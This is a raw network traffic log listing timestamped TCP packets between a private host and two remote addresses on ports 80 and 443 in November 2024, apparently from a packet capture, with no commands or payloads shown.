Nov 21, 2024 03:09:11.256154060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.257129908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.257179976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.257261992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.257312059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.258246899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.258299112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.258363962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.258413076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.259373903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.259428978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.259493113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.259541035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.260526896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.260581970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.260644913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.260694027 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.261651993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.261703014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.382030010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.382107973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.382178068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.382302999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.382533073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.382586002 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.382668018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.382720947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.382798910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.382848978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.383752108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.383809090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.383874893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.383927107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.384824991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.384876013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.384941101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.384991884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.385879040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.385935068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.386001110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.386049032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.386934042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.386987925 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.387028933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.387075901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.387998104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.388050079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.388113976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.388163090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.389050961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.389105082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.389188051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.389238119 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.390150070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.390196085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.390259981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.390316010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.391211033 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.391264915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.391330957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.391383886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.392266035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.392419100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.392424107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.392474890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.393371105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.393440008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.393477917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.393527031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.394421101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.394473076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.394534111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.394584894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.395464897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.395520926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.395641088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.395689011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.396550894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.396606922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.396672010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.396719933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.397607088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.397658110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.397722006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.397770882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.398670912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.398719072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.398783922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.398834944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.399811029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.399862051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.399943113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.399991989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.400906086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.400959969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.400960922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.401024103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.401880026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.401938915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.402004957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.402053118 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.402931929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.402986050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.403103113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.403157949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.404026985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.404079914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.404324055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.404372931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.405088902 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.405139923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.405204058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.405251026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.406136990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.406193018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.406255960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.406306028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.407252073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.407304049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.407372952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.407422066 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.408276081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.408324957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.408390999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.408440113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.409387112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.409441948 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.409452915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.409504890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.410463095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.410516024 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.410522938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.410573959 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.411483049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.411596060 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.411643982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.412544012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.412599087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.412663937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.412710905 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.413611889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.413667917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.413778067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.413830996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.414673090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.414725065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.414789915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.414839029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.415776968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.415827990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.415880919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.415930986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.416815996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.416868925 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.416918993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.416964054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.417897940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.417952061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.418065071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.418112040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.418932915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.418983936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.419048071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.419096947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.420026064 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.420077085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.420140982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.420190096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.421112061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.421165943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.421166897 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.421235085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.422152042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.422200918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.422266006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.422313929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.423223019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.423276901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.423357964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.423408985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.424264908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.424316883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.424388885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.424441099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.425365925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.425419092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.425481081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.425529003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.426491022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.426548004 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.426681995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.426733017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.427473068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.427522898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.427587032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.427634954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.428543091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.428602934 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.428652048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.428703070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.429620981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.429672956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.429754972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.429802895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.430696011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.430747986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.430810928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.430871010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.431745052 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.431797981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.431881905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.431931973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.432820082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.432871103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.432935953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.432984114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.433900118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.434005022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.434009075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.434057951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.435147047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.435168982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.435195923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.435218096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.435991049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.436038017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.436090946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.436134100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.437052965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.437102079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.437186956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.437230110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.518780947 CET	443	49815	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.519344091 CET	49815	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.519352913 CET	443	49815	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.519978046 CET	49815	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.519982100 CET	443	49815	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.574950933 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.575963020 CET	49817	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.575987101 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.576422930 CET	49817	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.576428890 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.584589005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.584708929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.584779978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.585026026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.585073948 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.585263014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.585298061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.585319042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.585340977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.586349010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.586396933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.586451054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.586497068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.587402105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.587455034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.587507963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.588459969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.588522911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.588574886 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.588622093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.589520931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.589576006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.589629889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.589678049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.590606928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.590657949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.590725899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.590771914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.591664076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.591759920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.591818094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.592744112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.592786074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.592799902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.592840910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.593810081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.593862057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.593943119 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.593992949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.594439983 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.594794035 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.594820976 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.594867945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.594974995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.595022917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.595288992 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:11.595308065 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:11.595912933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.596029043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.596081018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.597053051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.597076893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.597100973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.597150087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.598092079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.598187923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.598259926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.599131107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.599184990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.599222898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.599277973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.600210905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.600317955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.600363970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.601258039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.601310015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.601366997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.601417065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.602335930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.602384090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.602444887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.602497101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.603419065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.603487015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.603519917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.604465008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.604516029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.604569912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.604619026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.605555058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.605618954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.605654001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.605700970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.606612921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.606659889 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.606698036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.606741905 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.607664108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.607774973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.607824087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.608747005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.608798981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.608881950 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.608932972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.609817028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.609863997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.609941959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.609983921 CET	49814	80	192.168.2.5	31.41.244.11
